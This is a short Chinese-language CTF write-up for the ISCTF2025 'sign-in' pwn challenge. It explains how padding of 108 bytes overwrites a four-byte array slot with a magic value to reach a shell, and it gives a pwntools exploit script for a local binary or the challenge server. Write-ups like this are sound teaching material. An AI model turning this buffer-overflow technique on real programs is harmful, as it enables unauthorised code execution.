来签个到吧

main函数:

isctf2025来签个到吧.png

这里就是一个条件检查,我们只要把buf_[27]填入-1378178390就给我们shell,这里我们只需要注意两个点,首先是_DWORD buf_[38],这里DWORD(Double Word)代表四字节

所以我们前面要填充4x27=108个字节

IDA 写法 C 语言常见写法 单个元素大小
_BYTE char/int8_t 1字节
_WORD short/int16_t 2字节
_DWORD int/int32_t 4字节
_QWORD long long/int64_t 8字节

还有一个点就是在python脚本中我们要填充-1378178390要用p64(-1378178390 & 0xffffffffffffffff)(题目是64位,32位要改成0xffffffff),这是补码表示。

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./sign')
#p = remote('challenge.bluesharkinfo.com',26077)
payload = flat([
    b'A' * 108,
    p64(-1378178390 & 0xffffffffffffffff)
])
p.sendafter(b'do you like blueshark?', payload)
p.interactive()

题目链接:

CTF-Writeups/ISCTF2025/来签个到吧 at main · ZenDuk17/CTF-Writeups


来签个到吧
http://localhost:8080/archives/wei-ming-ming-wen-zhang-EQ00931H
作者
ZenDuk
发布于
2025年12月11日
许可协议